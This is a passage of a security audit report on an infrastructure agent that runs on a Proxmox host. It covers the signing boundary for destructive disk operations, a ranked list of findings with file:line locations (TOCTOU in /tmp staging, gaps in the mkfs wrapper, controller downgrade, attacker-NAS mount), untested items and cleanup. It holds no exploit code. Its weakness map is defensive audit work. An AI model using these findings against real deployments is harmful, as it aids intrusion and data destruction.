**Negative tests.** `TestClassifyClaim_EmptyNodesRefused` (D2), `TestClassifyClaim_TargetAbsentFromTree`,
|
||||
`TestGuardedWrapper_RefusesZfsMdraidLuksSwap` + `TestGuardedWrapper_PvsNotOnPath` (D1),
|
||||
`TestFormatBlankPath_AntiRetarget` (D3).
|
||||
|
||||
---
|
||||
|
||||
## Strand E — signed-job vs self-serve destructive boundary
|
||||
|
||||
**Verdict:** the boundary holds. The two operator-signed destructive executors (`WipeExecutor`,
|
||||
`DecommissionExecutor`) are constructed only in `cmd/felhom-agent/main.go:522-528` and handed solely to
|
||||
`NewRunner` (driven by the hub jobs queue) — **there is no local-API route to either.** The locked authz
|
||||
pipeline (namespace → key-material allow-list → crypto over raw bytes → host target → time window → durable
|
||||
single-use nonce) plus gate role-scoping + action binding fronts every signed op.
|
||||
|
||||
| Destructive op | Signed-only? (file:line) | Self-serve reachable w/o sig? | Nonce replay-safe? (file:line) | Verdict |
|
||||
|---|---|---|---|---|
|
||||
| Wipe (mkfs) system/backup device | YES — `gate.go:227-229` → `Authorize` → `pending_signature` (`:146-150`); role is agent's, `Confirmed` ignored | NO | YES — burned last in `Verify` (`verifier.go:157-160`), fsync'd (`noncestore.go:117-135`) | SOUND |
|
||||
| Wipe (mkfs) user-data device | NO — customer-confirmable by design (`gate.go:210-225`), durable-id-bound | YES, but only user-data role + confirm bound to agent-re-resolved id (`gate.go:216-222`) | N/A (durable-id binding) | SOUND (intended tier) |
|
||||
| `storage_wipe` signed job | YES — only in `ExecutorChain` off hub queue | NO route | YES — burned pre-execute (`runner.go:145-166`) | SOUND |
|
||||
| decommission (protected drive) | YES for system/backup (signed) | NO for system/backup (role 403 `disks.go:404-409`); user-data self-serve retire is non-destructive/reversible | YES (signed path) | SOUND (see E1) |
|
||||
| guest_destroy / restore_overwrite / key_rotation | YES — Destructive class, role-scoped (`gate.go:254-259`) | NO route | YES | SOUND |
|
||||
|
||||
**Zero-knowledge posture confirmed.** The agent stores **public keys only** (`config.go:359-371` →
|
||||
`AllowedSigner{PublicKey}` `verifier.go:35-53`); signing happens off-host in `felhom-opsign` via
|
||||
`ssh-keygen -Y sign` (`opsign/main.go:157`); the escrow recovery code is taken by-hand from the customer,
|
||||
unwrapped only in a 0700 tempdir that is always `RemoveAll`'d, never logged (`escrow/consume.go:23-79`).
|
||||
**Signature binds op+target:** the canonical blob covers `params` (incl. `durable_id`) and `Verify`
|
||||
authenticates over the raw received bytes (`verifier.go:123-134`), so a signature for wiping id X cannot
|
||||
verify for Y; the `WipeExecutor` additionally re-resolves + re-derives + re-inspects before mkfs
|
||||
(`wipe.go:74-99`).
|
||||
|
||||
**E1 (INFO — comment drift).** `decommission.go:31-35` claims the `IntentDecommissioned` state is reachable
|
||||
"ONLY via a gate-verified operator signature," but `handleDiskDecommission` reaches the same
|
||||
`SetDecommissioned` self-serve (`disks.go:414`). Not an escalation (self-serve is user-data-only,
|
||||
non-destructive, reversible); comment correction only.
|
||||
|
||||
**E2 (INFO — redundant check).** For the one-shot-job path, `bindsToAction` (`gate.go:265-276`) compares the
|
||||
verified op against an Intent built from the *same* decoded blob (`runner.go:125-133`) — its guest/op/params
|
||||
checks are tautological; the real anti-retarget control is the signature covering `params` + the executor's
|
||||
durable-id re-resolution. Worth noting so a future refactor doesn't mistake `bindsToAction` for the one-shot
|
||||
binding control.
|
||||
|
||||
**Negative tests.** Replayed nonce → `ErrReplay` (incl. after restart); mutated-`params` blob →
|
||||
`ErrBadSignature`; `POST /disks/format {confirmed:true}` on a system/backup data-bearing device → 403
|
||||
`PendingOp`, no mkfs; `POST /disks/decommission` on system/backup → 403; unsigned/no-verifier destructive
|
||||
job → `pending_signature`; `guest_destroy` signed with the cold recovery key → `ReasonRoleDenied`.
|
||||
|
||||
---
|
||||
|
||||
## Prioritized fix list
|
||||
|
||||
Ranked by real, exploit-backed severity. Per the audit discipline, "suspected — no exploit constructed" caps
|
||||
at INFO; findings whose exploit *is* fully sequenced but whose precondition does not exist today are LOW.
|
||||
|
||||
| # | Sev | Finding | Recommended fix | Relation to campaign F1–F6 | Blocks shared-box trial? |
|
||||
|---|-----|---------|-----------------|----------------------------|--------------------------|
|
||||
| **A1** | **LOW** | Stale-lock recovery (`stalelock.go:58`) reaps guests by a **pool-blind `ListLXC` scan**, not ownership — `pct unlock`+snapshot-delete+start a foreign guest under a broad token. Contained by the pool ACL today. | Restrict the scan to felhom-pool membership (or fenced-root `pct list` cross-checked against the pool). | **F1-sibling** (extends F1's "broad-token re-arms it"; relates F6) | **N (contained)** — but **fix before any broad/root-token deployment** |
|
||||
| **B1** | **LOW** | Fixed-name `/tmp` staging of root-executed scripts (`guesthook/install.go:40`, `intermediary.go:149,157`) — local TOCTOU into a root-run hookscript / boot script. | Use `os.CreateTemp` (as `lanresolver.go:255` already does). | new (host-local; outside F1–F6) | **N** (needs a 2nd non-root host account, which the platform doesn't provision) |
|
||||
| **D1** | **LOW** | The guarded mkfs wrapper (`felhom-mkfs-guarded.sh`) re-checks only system-disk / LVM-PV / foreign-mount — **not** ZFS/mdraid/LUKS/swap/read-only, so it can't catch a bypassed agent on those. | Add those FSTYPE + `/sys` ro re-checks to the wrapper; use an absolute `pvs` path. | new (defense-in-depth below the classifier) | N (primary guard `classifyClaim` covers all cases) |
|
||||
| **D3** | INFO (susp.) | Blank-format path (`disks.go:681`) formats the **mutable `/dev` path** with no durable-id re-resolution — AGENT-001's TOCTOU, left open on the benign branch; `Format`'s own precondition comment is violated. | Re-resolve the durable id on the blank branch too (mirror `disks.go:714`). | new (sibling of AGENT-001, not a pool finding) | N |
|
||||
| **D2** | INFO (susp.) | `classifyClaim` reads an empty-but-successful `lsblk` as `unclaimed` (no `len(nodes)==0` / target-present guard). | Refuse when `nodes` is empty or the target whole-disk is absent from the tree. | new | N |
|
||||
| **C1** | INFO (susp.) | `/controller/swap` regex pins host+repo but accepts **any semver** → a compromised controller can downgrade to an older vulnerable release (within its own guest). | Agent-side minimum-version floor. | new (adjacent to controller-swap SPIKE) | N |
|
||||
| **C2** | INFO (susp.) | `/netstorage/add` `server`/`export` are free → attacker-NAS host-side mount (host kernel NFS/CIFS client + attacker FS into guest). Creds-path attack is closed. | Operator/allowlist gate on NAS server addresses for shared boxes. | new | N |
|
||||
| **A2** | INFO | Reversibility gate consumes caller-stamped provenance without journal cross-check; guarantee lives entirely in the call-site `launched`/UPID discipline. | Add a defensive comment/guard; consider a journal cross-check for self-authored teardowns. | duplicate-adjacent to **F1** root cause | N |
|
||||
| **B2** | INFO | `AttachDrive`/`DetachDrive` don't self-reject `..` (safe only because callers gate). | Self-validate `where` in the bind helpers. | new (defense-in-depth) | N |
|
||||
| **B3/B4/B5** | INFO | Coarser-than-needed wildcards (B3); `privileged.go` forms absent from sudoers, fail-closed (B4); dead `systemctl reload dnsmasq` grant (B5). | Tighten wildcards; document/prune. | new (housekeeping) | N |
|
||||
| **E1/E2** | INFO | `decommission.go` comment drift (E1); tautological `bindsToAction` for one-shot jobs (E2). | Correct the comment; note the real one-shot binding control. | new (doc/clarity) | N |
|
||||
| **C3** | — | Eject/decommission dependent-guest scan is advisory-only. | (already tracked) | **= F5** (duplicate) | N |
|
||||
|
||||
---
|
||||
|
||||
## NOT validated / needs supervised live test
|
||||
|
||||
This audit was **100% static + non-destructive**. The following would each require a *destructive* live
|
||||
effect and were deliberately **not** run (§13 STOP):
|
||||
|
||||
- **A1** under a real broad/root token — would need to redeploy the agent with a broad token and park a
|
||||
foreign guest in a stale-locked state; needs a supervised host with a throwaway non-felhom guest.
|
||||
- **B1** — would need a second non-root local account on the Proxmox host and a race harness against a real
|
||||
guesthook install; the standard host doesn't provide the account.
|
||||
- **D1/D3** — proving these requires an actual `mkfs` against a crafted ZFS/mdraid/LUKS/swap member (D1) or a
|
||||
live `/dev` re-enumeration race during a real format (D3). **Not run** — no real disk was formatted.
|
||||
- **C1** — a real controller-swap to an older image against guest 9201. **Not run.**
|
||||
- **C2** — a real NAS mount from an attacker-controlled server. **Not run.**
|
||||
|
||||
All are documented as sequences/fixtures + named negative tests so a follow-up fix spec can prove them in
|
||||
unit-land or on a supervised scratch host.
|
||||
|
||||
## Cleanup confirmation
|
||||
|
||||
- **No throwaway probe artifacts created** — the audit used only source reads and read-only verification
|
||||
greps. No spike token was minted, no scratch guest/decoy created, no marker path written, no `go
|
||||
run`/`go test` harness left behind.
|
||||
- **Live state untouched:** the agent was not restarted or reconfigured; guest 9201, the enrolled drives, the
|
||||
`FelhomAgent` role / `felhom-agent@pve` token / its ACL, and the `felhom` pool were **not** modified (no
|
||||
live mutation was issued at all).
|
||||
- **`felhom-agent` repo: read-only** — no file written, no version bump, no branch.
|
||||
- **No secret committed** — this doc references tokens/keys/codes only as "stored out-of-band"; no
|
||||
fingerprint, nonce, or key material appears.
|
||||
|
||||
## Observations (tempting-but-out-of-scope; recorded, not acted on)
|
||||
|
||||
- The `validate.go:34-36` comment still says the sudoers mkfs entries are "per-fstype binaries
|
||||
(mkfs.ext4/mkfs.xfs)"; the FORMAT alias now routes *only* through `felhom-mkfs-guarded` (raw mkfs.* is no
|
||||
longer allowlisted). Stale comment, not a security issue — noted for a future doc pass.
|
||||
- Several INFO items (B3 wildcard tightening, B5 dead grant, E1/E2 comment fixes) are one-liners that would
|
||||
tighten least-privilege / clarity; deliberately left as a batch for a separate implementation spec rather
|
||||
than patched here (this is an audit).
|
||||
- A1, D1, D3 are the three worth folding into the next agent fix spec together — they are the "defense-in-
|
||||
depth is asymmetric / a second gate doesn't fully mirror the first" theme running across strands A and D.
|
||||
Reference in New Issue
Block a user